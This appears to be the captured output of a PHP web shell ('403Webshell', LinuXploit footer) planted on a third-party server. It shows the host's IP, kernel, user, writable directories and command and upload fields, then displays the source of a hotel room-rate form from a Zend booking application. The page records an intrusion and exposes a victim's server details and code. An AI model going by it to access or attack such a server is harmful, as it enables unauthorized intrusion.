403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/hotel/individual-hotel-room-rates.phtml
<?php if(empty($this->intAccomSysId)) { ?>

    <div class="alert alert-danger" style="margin-top: 30px; margin-bottom: 30px">
            <span id="error-message-box">Please select the Hotel by clicking "Hotel Overview" tab.</span>
        </div>
    </div>

<?php    
}
else { 
?>
        
<div class="tab-content tab-border"> 
<div class="tab-pane fade in active" >
    
    <div class="alert alert-danger" id="room-rate-error-message-box" style="display:none">
        <span id="room-rate-error-message"></span>
    </div>
    
    
     <?php if( count($this->arrAccoRoomTypes) == 0 ) { ?>                                   
    
    <div class="alert alert-danger">
<!--        <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button>-->
        <span id="error-message-box">No room has been added of this Hotel. Please click on "Add Rooms".</span>
    </div>
    
<?php } else { ?>    
      <div class="col-md-12 alert alert-info">
                <strong>Hotel Name :</strong> <?php echo $this->strHotelInfo; ?> 
        </div>
                         <div class="col-md-12">
                                 			
                                           
                                           <div class="panel-body not-padding-mobile col-md-12" style="padding:0px">
                                    <section class="ac-container">
                                       
                                       
                                            <div class="panel-body table-responsivenew no-padding">

                                                            <form name="frm-hotel-room-rates" id="frm-hotel-room-rates" method="POST" >

                                                         <table  class="table table-bordered no-margin">
                                                                 <thead>             
                                                                    <tr>
                                                                      <th class="alert alert-info">Room Name</th>
                                                                      <th class="alert alert-info">Room Type<span class="red">*</span></th>
                                                                      <th class="alert alert-info">Meal Plan<span class="red">*</span></th>
                                                                      <th class="alert alert-info"><strong>Daily Room Limit</strong></th>
                                                                      <th colspan="2" class="alert alert-info"><strong>Particulars</strong></th>
                                                                      <th class="alert alert-info"><strong>Currency</strong></th>
                                                                      <th class="alert alert-info"><strong>Rate Type</strong></th>
                                                                      <th class="alert alert-success"><strong>Double Occupancy</strong></th>
                                                                      <th class="alert alert-warning"><strong>Single Occupancy</strong></th>
                                                                      <th class="alert alert-warning"><strong>Extra with bed</strong></th>
                                                                      <th class="alert alert-success"><strong>Extra Without Bed</strong></th>
                                                                      <th class="alert alert-success"><strong>Tax</strong></th>
                                                                      <th class="alert alert-success"><strong>Supplier</strong></th>
                                                                      <th class="alert alert-success"><strong>Mark Up / Commission</strong></th>
                                                                      <th class="alert alert-info"></th>
                                                                    </tr>
                                                                    <tr>
                                                                     
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td>From </td>
                                                                      <td>To</td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                      <td></td>
                                                                    </tr>
                                                                                            </thead>



                                                                    <tr>
                                                                      <td><input type="text" class="form-control whbg" style="width:120px;" name="room_name" id="room_name"></td>
                                                                      <td>
                                                                          <select id="room_type" name="room_type" class="form-control" placeholder="Select" style="width:125px;" onchange="getMealPlan(this.value, '<?php echo $this->intAccomSysId; ?>');">
                                                                            <option value="0">Select</option>
                                                                                <?php if(!empty($this->arrHotelRoomTypes) ) { 
                                                                                        foreach($this->arrHotelRoomTypes as $room) { ?>
                                                                                            <option value="<?php echo $room['RoomTypeId']; ?>"><?php echo $room['RoomType']; ?></option>
                                                                                        <?php 
                                                                                        }
                                                                                    }
                                                                                ?>   
                                                                            </select>
                                                                      </td>
                                                                      <td><select id="meal_plan" name="meal_plan" class="form-control" placeholder="Select" style="width:125px;">
                                                                            <option value="0">Select</option>
                                                                            <?php /* ?>
                                                                            <?php if(count($this->arrHotelMeals) > 0 ) { 
                                                                                        foreach($this->arrHotelMeals as $meal) { ?>
                                                                                            <option value="<?php echo $meal['MealTypeId']; ?>"><?php echo $meal['Title']; ?></option>
                                                                                        <?php 
                                                                                        }
                                                                                    }
                                                                            ?> 
                                                                         <?php */ ?>    
                                                                        </select></td>
                                                                      <td><input type="text" class="form-control whbg numberonly" maxlength="3" value="" id="daily_room_limit" name="daily_room_limit"></td>  
                                                                      <td><input class="form-control from_dt_calender datePickerOnly ratetxtwidth70" type="text" id="from_dt" name="from_dt"/></td>
                                                                      <td><input class="form-control to_dt_calender datePickerOnly ratetxtwidth70" type="text" id="to_dt" name="to_dt"/></td>
                                                                      <td>
                                                                            <?php  
                                                                            $objCurrency = new Travel_Model_TblCurrency();
                                                                            $arrCurrencyTypes = $objCurrency->getCurrencyTypes();
                                                                            ?>
                                                                            <select id="currency_type" name="currency_type" class="form-control" placeholder="Select" style="width:110px;">
                                                                                    <option value="">Select</option>
                                                                                     <?php if(!empty($arrCurrencyTypes) ) { 
                                                                                                            foreach($arrCurrencyTypes as $currency) { ?>
                                                                                                                    <option value="<?php echo $currency['CurrencyType']; ?>" <?php if($currency['CurrencyType'] == '1') echo "selected"; ?>><?php echo $currency['Symbol']; ?></option>
                                                                                                            <?php 
                                                                                                            }
                                                                                                    }
                                                                                    ?>   
                                                                            </select>

                                                                      </td> 
                                                                      <td>
                                                                            <select id="rate_type" name="rate_type" class="form-control" placeholder="Select" style="width:125px;" onchange="showCommission(this); setNetRate();">
                                                                                    <option value="NR">Net Rate</option>
                                                                                    <option value="RR">Rack Rate</option>
                                                                            </select>
                                                                       <br>
                                                                       <input type="text" name="rack_commission" id="rack_commission" class="form-control priceonly" style="width:150px; display: none !important;" placeholder="TAC" maxlength="8" onkeyup="setNetRate();">
                                                                    </td>  
                                                                    <td><input type="text" class="form-control whbg priceonly" maxlength="8" value="" id="cost_double_occupancy" name="cost_double_occupancy" placeholder="Rack Rate" onkeyup="setNetRate();">
                                                                             <br><input type="text" name="net_cost_double_occupancy" id="net_cost_double_occupancy" autocomplete="off" class="form-control netRate  priceonly" style="width:150px;" placeholder="Net Rate" maxlength="8">
                                                                      </td>
                                                                      <td><input type="text" class="form-control whbg priceonly" value="" maxlength="8"  id="cost_single_occupancy" name="cost_single_occupancy" placeholder="Rack Rate" onkeyup="setNetRate();">
                                                                              <br><input type="text" name="net_cost_single_occupancy" id="net_cost_single_occupancy" autocomplete="off" class="form-control netRate priceonly" style="width:150px;" placeholder="Net Rate" maxlength="8">
                                                                      </td>
                                                                      <td><input type="text" class="form-control whbg priceonly" value=""  maxlength="8" id="cost_extra_with_bed" name="cost_extra_with_bed" placeholder="Rack Rate" onkeyup="setNetRate();">
                                                                              <br><input type="text" name="net_cost_extra_with_bed" id="net_cost_extra_with_bed" autocomplete="off" class="form-control netRate priceonly" style="width:150px;" placeholder="Net Rate" maxlength="8">
                                                                      </td>
                                                                      <td><input type="text" class="form-control whbg priceonly" value="" maxlength="8" id="cost_extra_without_bed" name="cost_extra_without_bed" placeholder="Rack Rate" onkeyup="setNetRate();">
                                                                              <br><input type="text" name="net_cost_extra_without_bed" id="net_cost_extra_without_bed" autocomplete="off" class="form-control netRate priceonly" style="width:150px;" placeholder="Net Rate" maxlength="8">
                                                                      </td>
                                                                      <td><input type="text" class="form-control whbg priceonly" value="" maxlength="2" id="tax" name="tax" placeholder="Tax" onkeyup="setNetRate();">
                                                                              <br><input type="text" name="net_tax" id="net_tax" autocomplete="off" class="form-control priceonly" style="width:150px;" placeholder="Net Tax" maxlength="8">
                                                                      </td>
                                                                        <td> 
                                                                        <input type="text" name="supplier_name" id="supplier_name" value="" class="form-control" style="width:200px">
                                                                        <input type="hidden" name="hidden_selected_supplier_sys_id" id="hidden_selected_supplier_sys_id" value="">

                                                                      </td>
                                                                      <td>&nbsp;</td>
                                                                      <td>
                                                                      <input type="hidden" name="hidden_selected_hotel_id" id="hidden_selected_hotel_id" value="<?php echo $this->intAccomSysId; ?>">
                                                                      <a class="btn btn-success btn-sm" href="javascript:void(0)" onclick="addMPInventoryAccom('<?php echo $this->intAccomSysId; ?>')"><i class="fa fa-fw fa-arrows"></i></a></td>
                                                                      
                                                                    </tr>



                                                                    <tbody id="tbody">

                                                                    </tbody>

                                                                    </table>
                                                                                    </form>    

                                                                    </div>


                                                                    <div class="clear">&nbsp;</div>

                                                                        <!--                                      <div class="panel-body no-padding">
                                                                        <div class="col-md-12 no-padding  col-md-offset-2 ls-group-input">
                                                                                        <label class="col-md-2 control-label">Upload Photo Hotel Room</label>
                                                                                                <input id="file-1" type="file" class="file" multiple=true data-preview-file-type="any">
                                                                                        </div>
                                                                        </div>-->
                                               
                                       
                                    </section>
                                </div> 
                                            
                                            
                                            
<!--                                            <div class="col-md-12 not-padding-mobile no-padding">
                                                              
                                  
                               <div class="col-md-3 not-padding-mobile">
                                                <div class="form-group">
                        <label><strong>Taxes</strong></label>
                        <select id="select-country" class="demo-default select-country" placeholder="Select">
                                   <option value="101">NA</option>
                                    <option value="included" selected>Included</option>
                                    <option value="18">Excluded</option>
                                                 
                        </select>                        
                    </div>
                                            </div>
                                            
                                            <div class="col-md-1 flexipadding" style="padding-right:0px;">
                                                    <input type="email" class="form-control whbg">
                                                </div>
                                                <div class="col-md-1 flexipadding">
                                                    %
                                                </div>
                                            
                                            
                                            </div>-->
                                            
                                        
<!--                <div class="col-md-12 not-padding-mobile">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                            <h3 class="panel-title"><i class="fa fa-upload"></i> Upload Photo Hotel</h3>
                        </div>
                        <div class="panel-body">
                            <section id="ls-wrapper">
                                Image Drop & Upload Wrapper Start
                                <div id="droparea">
                                    <div class="dropareainner">
                                        <p class="dropfiletext">Drop files here</p>

                                        <p>or</p>
                                        Upload Select Button
                                        <p><input id="uploadbtn" class="uploadbtn" type="button" value="Select Files">
                                        </p>
                                        Image Crop Start
                                        
                                        Image Crop Finish
                                        Image Effect Start
                                        
                                        Image Effect Finish
                                        <p id="err">Wait there! You must ENABLE Javascript to have this works!</p>
                                    </div>
                                    Image Upload Input
                                    <input id="upload" type="file" multiple/>
                                </div>
                                Image Drop & Upload Wrapper Finish
                                <p class="message">Please take note that all uploaded images would <strong>NOT</strong>
                                    be saved on server.</p>
                                Upoload Image Preview Wrap Start
                                <div id="result">
                                    Upoload Image Preview Wrap Finish
                                </div>
                            </section>
                        </div>
                    </div>
                </div>
                -->
                
                
                                            
                                            
                                            </div>            
                                            
                                            
                                            
                                    
                                            
<?php } ?>                                         
                                            
                                            
                                            
                                            
                                            
                                            
                                            
                                  
                                  <div class="clear"></div>
                        
                                        </div>
</div>

<?php } ?>
    
<?php echo $this->render('supplier/add.phtml'); ?>    
<?php echo $this->render('commonjs.phtml'); ?>
<link rel="stylesheet" href="<?php echo $this->baseUrl('public/assets/css/autosuggest-jquery-ui.css'); ?>">
<!--Advance Radio and checkbox demo start-->
<script src="<?php echo $this->baseUrl('public/assets/js/jquery-ui.js'); ?>"></script>
<!--Advance Radio and checkbox demo start-->

<script type="text/javascript">
function showCommission(obj)
{    
    if( $(obj).val() === 'RR') { 
        $("#rack_commission").show();
        //$("input.netRate").attr("readonly",true);
    } else if( $(obj).val() === "NR") { 
        $("#rack_commission").attr("style", "display:none !important");
        //$("input.netRate").attr("readonly",false);
    }
}
       
function setNetRate() {
        var rackCommission      = $("#rack_commission").val();
        var rateType            = $('#rate_type').val();
        
        if(rateType === 'RR') {
            var rackDoubleOccupancy = $("#cost_double_occupancy").val();
            var rackSingleOccupancy = $("#cost_single_occupancy").val();
            var rackExtraWithBed    = $("#cost_extra_with_bed").val();
            var rackExtraWithoutBed = $("#cost_extra_without_bed").val();
            //var rackTax             = $("#tax").val();

            var netRateDoubleOccupancy       = !isEmpty(rackDoubleOccupancy) ? rackDoubleOccupancy : '' ;
            var netRateSingleOccupancy       = !isEmpty(rackSingleOccupancy) ? rackSingleOccupancy : '' ;
            var netRateExtraWithBed          = !isEmpty(rackExtraWithBed)    ? rackExtraWithBed    : '' ;
            var netRateExtraWithoutBed       = !isEmpty(rackExtraWithoutBed) ? rackExtraWithoutBed : '' ;
            //var netRackTax                   = !isEmpty(rackTax) ? rackTax : '' ;
            
            if(!isEmpty(rackCommission)) {
                if(!isEmpty(rackDoubleOccupancy)) {
                    netRateDoubleOccupancy   = parseFloat(rackDoubleOccupancy  - parseFloat( getPercentage(rackCommission, rackDoubleOccupancy)));
                }
                
                if(!isEmpty(netRateSingleOccupancy)) {
                    netRateSingleOccupancy       = parseFloat(rackSingleOccupancy  - parseFloat( getPercentage(rackCommission, rackSingleOccupancy)));
                }
                
                if(!isEmpty(netRateExtraWithBed)) {
                    netRateExtraWithBed          = parseFloat(rackExtraWithBed     - parseFloat( getPercentage(rackCommission, rackExtraWithBed)));
                }
                
                if(!isEmpty(netRateExtraWithoutBed)) {
                    netRateExtraWithoutBed       = parseFloat(rackExtraWithoutBed  - parseFloat( getPercentage(rackCommission, rackExtraWithoutBed)));
                }
                
//                if(!isEmpty(netRackTax)) {
//                    netRackTax       = parseFloat(rackTax  - parseFloat( getPercentage(rackCommission, rackTax)));
//                }
            } 

            $("#net_cost_double_occupancy").val(netRateDoubleOccupancy);
            $("#net_cost_single_occupancy").val(netRateSingleOccupancy);
            $("#net_cost_extra_with_bed").val(netRateExtraWithBed);
            $("#net_cost_extra_without_bed").val(netRateExtraWithoutBed);
            //$("#net_tax").val(netRackTax);
        }
}    
    
$(document).ready(function() {
    $('.from_dt_calender').datetimepicker({
        minDate: 0
    });
    $('.to_dt_calender').datetimepicker({
        minDate: 0
    });
});  

function addNewSupplierPopup() {
    document.getElementById("frmAddSupplierInventory").reset();
    $("#supplier-popup-error-message-box").hide();
    $("#CitySysId").html('<option value="0">Select</option>');
    $("#supplier_name").val('');
    $("#hidden_module_name").val('hotel');
    $("#addNewSupplierForm").modal();
}

 $().ready(function() { 
        
    $("input[name=supplier_name]").autocomplete({
       source: '/supplier/autosuggest/supplierType/<?php echo $this->SupplierTypeSysId; ?>',

       focus: function (event, ui) {
           event.preventDefault();
           $("#tags").val(ui.item.label);
       },
       messages: {
           noResults: '',
           results: function() {}
       },
       minLength: 3,

       select: function (event, ui) {
           event.preventDefault();
           $("#change-supplier").css("display","block");
           $("input[name=supplier_name]").val(ui.item.label);
          // $("input[name=supplier_name]").attr("readonly",true);
          // $("#hidden_selected_hotel_id").val(ui.item.value).trigger('change');
           $("#hidden_selected_supplier_sys_id").val(ui.item.value);
           if(ui.item.value == '-1') {
               addNewSupplierPopup();
           }
       }
   });
        
});


function addMPInventoryAccom(intAccomSysId) {
        
    var data            = $('#frm-hotel-room-rates').serialize();

    $.ajax({
        //url  : '/hotel/save-inventory',
        url  : '/hotel/add-inventory-accom-room-rates?intAccomSysId='+intAccomSysId+'&form=bulk',
        data : data,
        type : 'POST',
        dataType : 'json',
        error : function() {

        },
        beforeSend : function() {

        },
        success : function(response) {
           // alert(response.intLastInsertId);
            if(response.success) {
                showHotelRoomRatesTab();
                //showRoomRatesGrid('<?php //echo $this->intAccomSysId; ?>');
                clearForm('individual');
            }else {
                // showMessage('error', response.msg);
                //alert('There has been an errror in saving the data.');
                alert(response.msg);
                return false;
            }
        }
    });
    return true;
}


function addIndividualRoomRates(intAccomSysId, RoomTypeId) {
    
    var from_dt                     = $("#from_dt_" + RoomTypeId).val();
    var to_dt                       = $("#to_dt_" + RoomTypeId).val();
    var daily_room_limit            = $("#daily_room_limit_" + RoomTypeId).val();
    var currency_type               = $("#currency_type_" + RoomTypeId).val();
    var cost_double_occupancy       = $("#cost_double_occupancy_" + RoomTypeId).val();
    var cost_single_occupancy       = $("#cost_single_occupancy_" + RoomTypeId).val();
    var cost_extra_with_bed         = $("#cost_extra_with_bed_" + RoomTypeId).val();
    var cost_extra_without_bed      = $("#cost_extra_without_bed_" + RoomTypeId).val();
    var rate_type                   = $("#rate_type_" + RoomTypeId).val();
    var tax                         = $("#tax_" + RoomTypeId).val();
    var rack_commission             = $("#rack_commission_" + RoomTypeId).val();
    var net_cost_double_occupancy   = $("#net_cost_double_occupancy_" + RoomTypeId).val();
    var net_cost_single_occupancy   = $("#net_cost_single_occupancy_" + RoomTypeId).val();
    var net_cost_extra_with_bed     = $("#net_cost_extra_with_bed_" + RoomTypeId).val();
    var net_cost_extra_without_bed  = $("#net_cost_extra_without_bed_" + RoomTypeId).val();
    var net_tax                     = $("#net_tax_" + RoomTypeId).val();
    
    $.ajax({
        url  : '/hotel/add-inventory-accom-room-rates',
        data : { intAccomSysId : intAccomSysId, RoomTypeId : RoomTypeId,
                 from_dt : from_dt, 
                 to_dt : to_dt, 
                 daily_room_limit : daily_room_limit, currency_type : currency_type,rate_type : rate_type,
                 cost_double_occupancy :cost_double_occupancy , tax : tax,
                 cost_single_occupancy : cost_single_occupancy, cost_extra_with_bed : cost_extra_with_bed, cost_extra_without_bed : cost_extra_without_bed, rack_commission : rack_commission ,
                 net_cost_double_occupancy : net_cost_double_occupancy, net_cost_single_occupancy : net_cost_single_occupancy, net_cost_extra_with_bed : net_cost_extra_with_bed, net_cost_extra_without_bed : net_cost_extra_without_bed, net_tax : net_tax, hidden_selected_hotel_id : intAccomSysId
                },
        dataType : 'json',
        type : 'POST',
        error : function() {

        },
        beforeSend : function() {

        },
        success : function(response) {
            if(response.success) {
               // showHotelRoomRatesTab();
               clearMPInventoryAccom(RoomTypeId);
               showRoomRatesGrid('<?php echo $this->intAccomSysId; ?>',RoomTypeId);
            } else {
                $("#room-rate-error-message-box").css("display","block");
                $("#room-rate-error-message").html(response.msg);
            }
           
        }
    });
}


function getMealPlan(roomType, AccomSysId)
{
    $.ajax({
        url  : '<?php echo $this->baseUrl('/hotel/getroommealplan') ?>',
        data : { roomTypeId : roomType, intAccomSysId : AccomSysId },
        type : 'POST',
        dataType : 'html',
        beforeSend : function() {
           $("#meal_plan").empty();
        },
        success : function(response) {
           $("#meal_plan").html(response);
        }
    });
}
</script>


<script type="text/javascript">
<?php 
    if(!empty( $this->arrAccoRoomTypes ) ) {
       $intCounter = 1 ;
       foreach($this->arrAccoRoomTypes as $roomType ) { ?>
           
            var intRoomTypeId = '<?php echo $roomType['RoomTypeId']; ?>';
            //alert(intRoomTypeId);
            showRoomRatesGrid('<?php echo $this->intAccomSysId; ?>',intRoomTypeId);
            
       <?php }
    }
?>    
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit